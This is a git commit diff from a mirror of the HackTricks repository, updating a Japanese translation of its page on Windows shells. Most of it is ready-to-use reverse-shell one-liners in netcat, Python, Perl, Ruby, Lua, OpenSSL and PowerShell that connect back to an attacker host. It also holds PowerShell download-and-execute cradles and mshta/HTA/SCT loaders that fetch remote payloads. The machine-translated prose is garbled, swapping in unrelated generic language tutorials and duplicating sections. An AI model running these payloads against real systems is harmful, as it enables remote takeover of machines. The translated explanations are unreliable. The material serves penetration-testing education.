mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['generic-methodologies-and-resources/shells/windows.md', 'ma
This commit is contained in:
parent
8aef422594
commit
db923e9924
11 changed files with 819 additions and 962 deletions
BIN
.gitbook/assets/image (12) (3).png
Normal file
BIN
.gitbook/assets/image (12) (3).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 9.2 KiB |
|
@ -18,13 +18,13 @@
|
|||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
|
||||
## Lolbas
|
||||
|
||||
ページ[lolbas-project.github.io](https://lolbas-project.github.io/)は、[https://gtfobins.github.io/](https://gtfobins.github.io/)のように、Windows用です。\
|
||||
ページ[lolbas-project.github.io](https://lolbas-project.github.io/)は、Linuxの[https://gtfobins.github.io/](https://gtfobins.github.io/)のようなWindows向けです。\
|
||||
明らかに、**WindowsにはSUIDファイルやsudo特権はありません**が、いくつかの**バイナリ**がどのように(悪用されて)任意のコードを実行するかを知るのは役に立ちます。
|
||||
|
||||
## NC
|
||||
|
@ -40,165 +40,78 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
Perl is a high-level programming language that is commonly used for scripting and automation tasks. It is known for its powerful text processing capabilities and its ability to handle complex data structures. Perl is often used in the field of cybersecurity for tasks such as web scraping, data manipulation, and exploit development. It is particularly useful for writing scripts that interact with the Windows operating system, as it provides a wide range of built-in functions and modules for this purpose. Perl scripts can be executed on a Windows machine using the Perl interpreter, which is available for download from the official Perl website.
|
||||
Perlは、多目的のスクリプト言語であり、Windowsシステムでのハッキングに使用することができます。Perlスクリプトは、Windowsシェルコマンドを実行するための強力なツールです。Perlを使用すると、システムの構成情報の収集、ファイルの操作、ユーザーの管理など、さまざまなタスクを自動化することができます。
|
||||
|
||||
Perlスクリプトを使用してWindowsシェルコマンドを実行するには、`system`関数を使用します。以下は、Perlスクリプト内でWindowsシェルコマンドを実行する例です。
|
||||
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
|
||||
# Windowsシェルコマンドを実行する
|
||||
system("コマンド");
|
||||
```
|
||||
|
||||
上記の例では、`system`関数内に実行したいWindowsシェルコマンドを指定します。例えば、`system("dir")`は、`dir`コマンドを実行し、現在のディレクトリの内容を表示します。
|
||||
|
||||
Perlスクリプトを使用してWindowsシェルコマンドを実行する際には、セキュリティ上の注意が必要です。不正なコマンドの実行やシステムへの悪意のあるアクセスを防ぐために、入力の検証やエスケープ処理を行うことが重要です。
|
||||
|
||||
Perlは、Windowsシステムでのハッキングにおいて非常に便利なツールですが、正当な目的で使用することが重要です。適切な許可なしにPerlスクリプトを実行することは、法的な問題を引き起こす可能性がありますので、注意が必要です。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## ルビー
|
||||
|
||||
Rubyは、オブジェクト指向のプログラミング言語であり、シンプルで読みやすい構文を持っています。Rubyは、Webアプリケーションの開発やスクリプトの作成に広く使用されています。
|
||||
Rubyは、オブジェクト指向のスクリプト言語であり、多くのプログラミングタスクを簡単に実行するための強力なツールです。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性に優れています。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成など、さまざまな用途に使用されています。
|
||||
|
||||
### Rubyのインストール
|
||||
|
||||
Rubyをインストールするには、公式のRubyインストーラを使用するか、パッケージマネージャを介してインストールします。
|
||||
|
||||
#### WindowsでのRubyのインストール
|
||||
|
||||
1. [RubyInstaller](https://rubyinstaller.org/)の公式ウェブサイトにアクセスします。
|
||||
2. ダウンロードページから、最新のRubyInstallerをダウンロードします。
|
||||
3. ダウンロードしたインストーラを実行し、指示に従ってインストールします。
|
||||
|
||||
#### LinuxでのRubyのインストール
|
||||
|
||||
1. ターミナルを開きます。
|
||||
2. パッケージマネージャを使用してRubyをインストールします。例えば、Debianベースのディストリビューションでは、次のコマンドを実行します。
|
||||
|
||||
```bash
|
||||
sudo apt-get install ruby
|
||||
```
|
||||
|
||||
### Rubyの実行
|
||||
|
||||
Rubyスクリプトを実行するには、ターミナルで次のコマンドを使用します。
|
||||
|
||||
```bash
|
||||
ruby script.rb
|
||||
```
|
||||
|
||||
### Rubyの基本構文
|
||||
|
||||
以下は、Rubyの基本的な構文の例です。
|
||||
|
||||
#### 変数の宣言
|
||||
Rubyのシェルスクリプトは、Windows環境でのハッキングに役立ちます。Rubyのシェルスクリプトを使用すると、Windowsシステムに対して様々な攻撃を実行することができます。以下に、Rubyを使用したWindowsシェルスクリプトの例を示します。
|
||||
|
||||
```ruby
|
||||
name = "John"
|
||||
age = 25
|
||||
require 'win32ole'
|
||||
|
||||
shell = WIN32OLE.new('Shell.Application')
|
||||
shell.ShellExecute('cmd.exe', '', '', 'open', 1)
|
||||
```
|
||||
|
||||
#### 条件分岐
|
||||
このスクリプトは、`Shell.Application`オブジェクトを使用してWindowsのコマンドプロンプトを開きます。このようなスクリプトを使用することで、Windowsシステムに対してコマンドを実行したり、悪意のあるプログラムを実行したりすることができます。
|
||||
|
||||
```ruby
|
||||
if age >= 18
|
||||
puts "You are an adult."
|
||||
else
|
||||
puts "You are a minor."
|
||||
end
|
||||
```
|
||||
|
||||
#### ループ
|
||||
|
||||
```ruby
|
||||
for i in 1..5
|
||||
puts i
|
||||
end
|
||||
```
|
||||
|
||||
#### 関数の定義
|
||||
|
||||
```ruby
|
||||
def greet(name)
|
||||
puts "Hello, #{name}!"
|
||||
end
|
||||
|
||||
greet("John")
|
||||
```
|
||||
|
||||
これらは、Rubyの基本的な構文の一部です。Rubyにはさまざまな機能がありますが、ここでは基本的な概念に焦点を当てています。
|
||||
|
||||
### Rubyの便利なライブラリ
|
||||
|
||||
Rubyには、さまざまな便利なライブラリがあります。以下は、いくつかの一般的なライブラリの例です。
|
||||
|
||||
- `net/http`:HTTPリクエストを送信するためのライブラリ。
|
||||
- `json`:JSONデータのパースと生成を行うためのライブラリ。
|
||||
- `csv`:CSVファイルの読み書きを行うためのライブラリ。
|
||||
|
||||
これらのライブラリは、Rubyの機能を拡張し、開発プロセスを簡素化するのに役立ちます。
|
||||
|
||||
### Rubyのセキュリティ
|
||||
|
||||
Rubyは、セキュリティに関する機能やツールを提供しています。以下は、いくつかのセキュリティ関連のトピックの例です。
|
||||
|
||||
- サニタイズ:ユーザー入力を安全に処理するための方法。
|
||||
- エスケープ:特殊文字をエスケープするための方法。
|
||||
- 暗号化:データを暗号化するための方法。
|
||||
|
||||
これらのトピックは、Rubyのセキュリティに関する基本的な概念をカバーしています。
|
||||
|
||||
### Rubyのデバッグ
|
||||
|
||||
Rubyには、デバッグに役立つツールやテクニックがあります。以下は、いくつかのデバッグ関連のトピックの例です。
|
||||
|
||||
- `puts`メソッド:変数の値を表示するための方法。
|
||||
- `binding.pry`:プログラムの実行を一時停止し、変数の値を調べるための方法。
|
||||
- `raise`キーワード:エラーを発生させるための方法。
|
||||
|
||||
これらのトピックは、Rubyのデバッグに関する基本的な概念をカバーしています。
|
||||
|
||||
### Rubyの拡張
|
||||
|
||||
Rubyは、拡張性が高く、カスタムの機能やライブラリを作成することができます。以下は、いくつかの拡張関連のトピックの例です。
|
||||
|
||||
- モジュール:再利用可能なコードのブロックを作成するための方法。
|
||||
- クラスの継承:既存のクラスを拡張するための方法。
|
||||
- ライブラリの作成:独自のライブラリを作成するための方法。
|
||||
|
||||
これらのトピックは、Rubyの拡張に関する基本的な概念をカバーしています。
|
||||
|
||||
Rubyは、柔軟性と読みやすさを兼ね備えた強力なプログラミング言語です。これらの基本的な概念を理解し、便利なライブラリやセキュリティ機能を活用することで、効率的な開発とセキュアなコーディングが可能になります。
|
||||
Rubyのシェルスクリプトは、Windowsシステムの脆弱性を検出したり、システムに侵入したりするための有用なツールです。ただし、これらのスクリプトを使用する際には、法的な制約や倫理的な考慮事項に留意する必要があります。
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。Luaスクリプトは、Windowsシェルで実行することもできます。
|
||||
Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。Luaは、シンプルな構文と強力な拡張性を備えており、C言語との統合も容易です。Luaスクリプトは、Windowsシェル上で実行することもできます。
|
||||
|
||||
### Luaスクリプトの実行
|
||||
|
||||
WindowsシェルでLuaスクリプトを実行するには、次の手順を実行します。
|
||||
|
||||
1. Luaの実行可能ファイル(`lua.exe`)をダウンロードしてインストールします。
|
||||
|
||||
2. コマンドプロンプトを開き、Luaスクリプトが保存されているディレクトリに移動します。
|
||||
3. 次のコマンドを入力して、Luaスクリプトを実行します。
|
||||
|
||||
3. 次のコマンドを使用して、Luaスクリプトを実行します。
|
||||
```shell
|
||||
lua script.lua
|
||||
```
|
||||
|
||||
```
|
||||
lua script.lua
|
||||
```
|
||||
|
||||
ここで、`script.lua`は実行したいLuaスクリプトのファイル名です。
|
||||
ここで、`script.lua`は実行したいLuaスクリプトのファイル名です。
|
||||
|
||||
### Luaスクリプトのデバッグ
|
||||
|
||||
Luaスクリプトのデバッグには、デバッガツールを使用することができます。デバッガツールを使用すると、スクリプトの実行中に変数の値を確認したり、ステップ実行したりすることができます。
|
||||
|
||||
一般的なLuaデバッガツールには、[ZeroBrane Studio](https://studio.zerobrane.com/)や[Decoda](http://unknownworlds.com/decoda/)などがあります。これらのツールを使用すると、Luaスクリプトのデバッグが容易になります。
|
||||
一般的なLuaデバッガツールには、[ZeroBrane Studio](https://studio.zerobrane.com/)や[Decoda](http://unknownworlds.com/decoda/)などがあります。これらのツールを使用すると、より効率的にLuaスクリプトをデバッグできます。
|
||||
|
||||
### Luaスクリプトのセキュリティ上の考慮事項
|
||||
Luaスクリプトのデバッグには、以下の手順を実行します。
|
||||
|
||||
Luaスクリプトの実行には、セキュリティ上のリスクが伴う場合があります。悪意のあるスクリプトは、システムに損害を与える可能性があります。
|
||||
1. デバッガツールをダウンロードしてインストールします。
|
||||
2. デバッガツールを起動し、Luaスクリプトを開きます。
|
||||
3. 必要に応じてブレークポイントを設定します。
|
||||
4. スクリプトを実行し、デバッガツールのインターフェースを使用して変数の値を確認したり、ステップ実行したりします。
|
||||
|
||||
以下のセキュリティ上の考慮事項に留意して、Luaスクリプトを実行してください。
|
||||
|
||||
- 信頼できるソースからのみスクリプトを実行する。
|
||||
- スクリプトがシステムリソースにアクセスしないようにする。
|
||||
- スクリプトが予期しない動作をしないようにする。
|
||||
|
||||
これらのセキュリティ上の考慮事項に留意することで、Luaスクリプトの実行を安全に行うことができます。
|
||||
Luaスクリプトのデバッグには、デバッガツールのドキュメントやチュートリアルを参照することをおすすめします。
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -220,84 +133,102 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
```
|
||||
## Powershell
|
||||
|
||||
Powershellは、Windowsシステムで使用される強力なスクリプト言語およびシェル環境です。Powershellは、Windowsの管理、自動化、およびタスクの実行に広く使用されています。以下に、Powershellを使用した一般的な攻撃手法とその対策を示します。
|
||||
Powershellは、Windowsシステムで使用される強力なスクリプト言語およびコマンドラインシェルです。Powershellは、Windowsの管理タスクを自動化し、システムの設定や構成を効率的に行うために使用されます。
|
||||
|
||||
### Powershellの攻撃手法
|
||||
Powershellは、.NETフレームワークをベースにしており、Windowsの機能やAPIにアクセスするための豊富なコマンドレットを提供しています。これにより、システムの情報の取得や変更、ファイルの操作、ネットワークの管理など、さまざまなタスクを実行することができます。
|
||||
|
||||
1. **Powershellスクリプトの実行**: 攻撃者は、悪意のあるPowershellスクリプトを作成し、ターゲットシステムで実行することで、システムに侵入します。対策としては、信頼できるソースからのみPowershellスクリプトを実行するように設定することが重要です。
|
||||
Powershellは、コマンドラインインターフェース(CLI)として使用することも、スクリプトとして実行することもできます。スクリプトを作成することで、複数のコマンドや操作をまとめて実行することができます。
|
||||
|
||||
2. **Powershellリモートコード実行**: 攻撃者は、リモートでPowershellスクリプトを実行することで、ターゲットシステムに侵入します。対策としては、不要なPowershellリモートコード実行機能を無効にすることが重要です。
|
||||
Powershellは、システム管理者やセキュリティエンジニアにとって非常に便利なツールです。Powershellを使用することで、システムの監視、脆弱性のスキャン、ログの分析など、さまざまなセキュリティ関連のタスクを効率的に実行することができます。
|
||||
|
||||
3. **Powershellのバイパス**: 攻撃者は、Powershellのセキュリティ制限を回避するために、バイパス技術を使用します。対策としては、Powershellの実行ポリシーを厳格に設定し、不要なバイパスを無効にすることが重要です。
|
||||
Powershellは、Windowsシステムでのハッキングやペネトレーションテストにおいても重要な役割を果たします。ハッカーは、Powershellを使用して悪意のあるスクリプトを実行し、システムに侵入したり、情報を盗んだりすることができます。
|
||||
|
||||
4. **Powershellの権限昇格**: 攻撃者は、Powershellを使用してシステムの権限を昇格させることで、システムに深く侵入します。対策としては、最小特権の原則に基づいて、Powershellの実行権限を制限することが重要です。
|
||||
|
||||
### Powershellの対策
|
||||
|
||||
1. **Powershellの実行ポリシーの設定**: Powershellの実行ポリシーを制限することで、不正なスクリプトの実行を防ぐことができます。適切な実行ポリシーを設定し、信頼できるソースからのみスクリプトを実行するようにします。
|
||||
|
||||
2. **Powershellリモートコード実行の無効化**: 不要なPowershellリモートコード実行機能を無効にすることで、リモートからの攻撃を防ぐことができます。必要な場合にのみリモートコード実行を有効にし、信頼できる接続のみを許可します。
|
||||
|
||||
3. **Powershellのバイパスの無効化**: 不要なPowershellバイパスを無効にすることで、攻撃者のバイパス技術を防ぐことができます。必要なバイパスのみを有効にし、セキュリティ制限を厳密に設定します。
|
||||
|
||||
4. **最小特権の原則の適用**: Powershellの実行権限を最小限に制限することで、攻撃者の権限昇格を防ぐことができます。必要な権限のみを与え、不要な権限を削除します。
|
||||
|
||||
以上が、Powershellの一般的な攻撃手法と対策です。これらの対策を実施することで、Powershellを使用した攻撃からシステムを保護することができます。
|
||||
Powershellの使用は、セキュリティ上のリスクを伴う場合があります。したがって、システム管理者やセキュリティエンジニアは、Powershellの使用に関するベストプラクティスを理解し、適切なセキュリティ対策を講じる必要があります。
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
ネットワーク呼び出しを実行しているプロセス: **powershell.exe**\
|
||||
ディスク上に書き込まれたペイロード: **NO** (_少なくとも私がprocmonを使用して見つけることはありませんでした!_)
|
||||
ネットワーク呼び出しを実行するプロセス: **powershell.exe**\
|
||||
ディスク上に書き込まれたペイロード: **NO** (_少なくとも私が procmon を使用して見つけることはありませんでした!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
ネットワーク呼び出しを実行するプロセス: **svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワーク呼び出しを実行するプロセス:**svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ**
|
||||
|
||||
**ワンライナー:**
|
||||
**ワンライナー:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
Mshta is a Windows utility that allows you to execute HTML applications (HTAs) using the Microsoft HTML Application Host. It can be used as a shell to execute commands and scripts on a Windows system.
|
||||
Mshta is a Windows utility that allows you to execute HTML applications (HTAs) using the Microsoft HTML Application Host. HTAs are standalone applications that can be executed directly from the Windows shell without the need for a web browser.
|
||||
|
||||
### Basic Usage
|
||||
### Usage
|
||||
|
||||
To use Mshta as a shell, you can create an HTA file with the desired commands or scripts and then execute it using the following command:
|
||||
To execute a command using Mshta, you can use the following syntax:
|
||||
|
||||
```
|
||||
mshta <hta_file>
|
||||
mshta.exe javascript:command;
|
||||
```
|
||||
|
||||
For example, if you have an HTA file called `payload.hta`, you can execute it using the following command:
|
||||
For example, to display a message box with the text "Hello, World!", you can use the following command:
|
||||
|
||||
```
|
||||
mshta payload.hta
|
||||
mshta.exe javascript:alert('Hello, World!');
|
||||
```
|
||||
|
||||
### Payload Delivery
|
||||
### Advantages
|
||||
|
||||
Mshta can be used to deliver payloads to a target system. You can create an HTA file that contains malicious code or a script that downloads and executes a payload from a remote server.
|
||||
Mshta can be useful in scenarios where you want to execute arbitrary commands on a target system without relying on traditional command-line utilities. Since HTAs are executed by the HTML Application Host, they have the ability to interact with the Windows shell and perform various actions.
|
||||
|
||||
### Bypassing Application Whitelisting
|
||||
### Limitations
|
||||
|
||||
Mshta can be used to bypass application whitelisting on Windows systems. Since it is a legitimate Windows utility, it is often allowed by default in application whitelisting policies.
|
||||
It's important to note that Mshta may be detected by antivirus software due to its ability to execute arbitrary commands. Additionally, the use of Mshta may require administrative privileges on the target system.
|
||||
|
||||
### Persistence
|
||||
### Detection
|
||||
|
||||
Mshta can be used to achieve persistence on a compromised system. You can create an HTA file that runs at startup or as a scheduled task to maintain access to the system.
|
||||
To detect the use of Mshta, you can monitor for the execution of the `mshta.exe` process or look for suspicious command-line arguments that include `javascript:`.
|
||||
|
||||
### Detection and Evasion
|
||||
### Mitigation
|
||||
|
||||
Mshta can be detected by monitoring for its execution or by analyzing the HTA files it uses. To evade detection, you can obfuscate the HTA file or use techniques such as steganography to hide the malicious code.
|
||||
To mitigate the risk of Mshta being used for malicious purposes, it is recommended to restrict the execution of `mshta.exe` through application whitelisting or by using security solutions that can detect and block its usage.
|
||||
|
||||
### References
|
||||
**詳細なPowershellシェルについては、このドキュメントの最後を参照してください**
|
||||
|
||||
- [Mshta - Windows Command Line](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mshta)
|
||||
- [Mshta - Attack Surface Analyzer](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction)
|
||||
- [Mshta - MITRE ATT&CK](https://attack.mitre.org/techniques/T1218/011/)
|
||||
## Mshta
|
||||
|
||||
Mshtaは、Microsoft HTML Application Hostを使用してHTMLアプリケーション(HTA)を実行するためのWindowsユーティリティです。HTAは、Webブラウザを必要とせずにWindowsシェルから直接実行できるスタンドアロンのアプリケーションです。
|
||||
|
||||
### 使用方法
|
||||
|
||||
Mshtaを使用してコマンドを実行するには、次の構文を使用できます:
|
||||
|
||||
```
|
||||
mshta.exe javascript:command;
|
||||
```
|
||||
|
||||
たとえば、テキスト「Hello, World!」を含むメッセージボックスを表示するには、次のコマンドを使用できます:
|
||||
|
||||
```
|
||||
mshta.exe javascript:alert('Hello, World!');
|
||||
```
|
||||
|
||||
### 利点
|
||||
|
||||
Mshtaは、従来のコマンドラインユーティリティに頼らずにターゲットシステムで任意のコマンドを実行したい場合に役立ちます。HTAはHTML Application Hostによって実行されるため、Windowsシェルと対話し、さまざまなアクションを実行する能力を持っています。
|
||||
|
||||
### 制限事項
|
||||
|
||||
Mshtaは、任意のコマンドを実行できる能力のため、ウイルス対策ソフトウェアによって検出される可能性があります。また、Mshtaの使用には、ターゲットシステムでの管理者特権が必要な場合があります。
|
||||
|
||||
### 検出
|
||||
|
||||
Mshtaの使用を検出するには、`mshta.exe`プロセスの実行を監視するか、`javascript:`を含む疑わしいコマンドライン引数を探すことができます。
|
||||
|
||||
### 緩和策
|
||||
|
||||
Mshtaが悪意のある目的で使用されるリスクを軽減するためには、アプリケーションホワイトリストを使用するか、その使用を検出およびブロックできるセキュリティソリューションを使用することを推奨します。
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
|
@ -311,8 +242,8 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス:**svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ**
|
||||
|
||||
#### **hta-pshリバースシェルの例(htaを使用してPSバックドアをダウンロードして実行する)**
|
||||
```markup
|
||||
|
@ -321,12 +252,6 @@ mshta \\webdavserver\folder\payload.hta
|
|||
**Koadicゾンビを非常に簡単にダウンロードして実行することができます。ステージャーhtaを使用した例**
|
||||
|
||||
#### htaの例
|
||||
|
||||
```html
|
||||
<iframe src="http://attacker.com/evil.hta"></iframe>
|
||||
```
|
||||
|
||||
この例では、攻撃者のサーバーにある`evil.hta`ファイルを含む`iframe`要素が使用されています。この`hta`ファイルは、Koadicゾンビをダウンロードして実行するためのステージャーとして機能します。
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -343,23 +268,13 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||
```
|
||||
#### **mshta - sct**
|
||||
|
||||
**mshta** is a Windows utility that allows executing HTML applications (.hta files) without the need of a browser. This can be useful for executing malicious code on a target system.
|
||||
The `mshta - sct` technique is a method used to execute malicious scripts on a Windows system. It leverages the `mshta.exe` utility, which is a legitimate Windows component used to execute HTML applications (.hta files). By combining `mshta.exe` with a scriptlet file (.sct), an attacker can bypass security measures and run arbitrary code.
|
||||
|
||||
To use **mshta** with a **.sct** file, follow these steps:
|
||||
To use this technique, the attacker first creates a scriptlet file containing the malicious code. This file is then hosted on a web server or delivered to the target system through other means. The attacker then uses the `mshta.exe` utility to execute the scriptlet file, which in turn executes the malicious code.
|
||||
|
||||
1. Create a **.sct** file with the desired script code. This file should contain VBScript or JScript code.
|
||||
2. Host the **.sct** file on a web server or transfer it to the target system.
|
||||
3. Use **mshta** to execute the **.sct** file by running the following command:
|
||||
The `mshta - sct` technique is effective because it allows the attacker to bypass security measures that may be in place to block the execution of certain file types, such as .exe or .bat files. By using a combination of `mshta.exe` and a scriptlet file, the attacker can execute arbitrary code without triggering these security measures.
|
||||
|
||||
```
|
||||
mshta http://<server>/<path>/file.sct
|
||||
```
|
||||
|
||||
Replace `<server>` with the IP address or domain name of the server hosting the **.sct** file, and `<path>` with the path to the file on the server.
|
||||
|
||||
By executing the **.sct** file with **mshta**, the script code will be executed on the target system, allowing for various actions such as downloading and executing additional payloads, creating files, modifying the registry, or executing commands.
|
||||
|
||||
It's important to note that **mshta** may trigger security alerts, as it is a known tool used by attackers. Therefore, it's crucial to use it responsibly and only in controlled environments, such as during penetration testing or authorized security assessments.
|
||||
It is important for system administrators and security professionals to be aware of this technique and implement appropriate security measures to detect and prevent its use. This may include monitoring for suspicious `mshta.exe` activity, blocking access to known malicious scriptlet files, and keeping systems up to date with the latest security patches.
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -377,29 +292,13 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
```
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
Mshta is a Microsoft HTML Application Host that allows you to execute HTML applications (.hta files) on Windows systems. It is a legitimate Windows component that can be abused by attackers to execute malicious code.
|
||||
|
||||
Mshta is a Microsoft HTML Application Host that allows you to execute HTML applications (.hta files) on Windows systems. It is a legitimate Windows component, but it can also be used by attackers to execute malicious code.
|
||||
Metasploit, a popular penetration testing framework, provides a module called `exploit/windows/browser/mshta` that exploits the Mshta vulnerability. This module generates a malicious .hta file and delivers it to the target system. When the .hta file is executed, it runs the specified payload, giving the attacker remote access to the target machine.
|
||||
|
||||
Metasploit, a popular penetration testing framework, provides a module called `exploit/windows/browser/mshta` that allows you to exploit the Mshta vulnerability.
|
||||
To use the `exploit/windows/browser/mshta` module in Metasploit, you need to set the required options such as the target IP address, payload, and listener. Once the options are set, you can run the exploit and gain access to the target system.
|
||||
|
||||
To use this module, you need to set the `SRVHOST`, `SRVPORT`, and `URIPATH` options. The `SRVHOST` and `SRVPORT` options specify the IP address and port number of the Metasploit server, while the `URIPATH` option specifies the path of the malicious .hta file.
|
||||
|
||||
Once the options are set, you can run the exploit by executing the `exploit` command. This will start the Metasploit server and serve the malicious .hta file to the target system. When the target system opens the .hta file, the payload will be executed.
|
||||
|
||||
It is important to note that the target system must have Internet Explorer installed for this exploit to work. Additionally, the target system's security settings may affect the success of the exploit.
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshtaは、Windowsシステム上でHTMLアプリケーション(.htaファイル)を実行するためのMicrosoft HTML Application Hostです。これは正当なWindowsコンポーネントですが、攻撃者は悪意のあるコードを実行するためにも使用することができます。
|
||||
|
||||
人気のあるペネトレーションテストフレームワークであるMetasploitは、Mshtaの脆弱性を悪用するための`exploit/windows/browser/mshta`というモジュールを提供しています。
|
||||
|
||||
このモジュールを使用するには、`SRVHOST`、`SRVPORT`、および`URIPATH`オプションを設定する必要があります。`SRVHOST`と`SRVPORT`オプションは、MetasploitサーバーのIPアドレスとポート番号を指定し、`URIPATH`オプションは悪意のある.htaファイルのパスを指定します。
|
||||
|
||||
オプションが設定されたら、`exploit`コマンドを実行してエクスプロイトを実行できます。これにより、Metasploitサーバーが起動し、悪意のある.htaファイルがターゲットシステムに提供されます。ターゲットシステムが.htaファイルを開くと、ペイロードが実行されます。
|
||||
|
||||
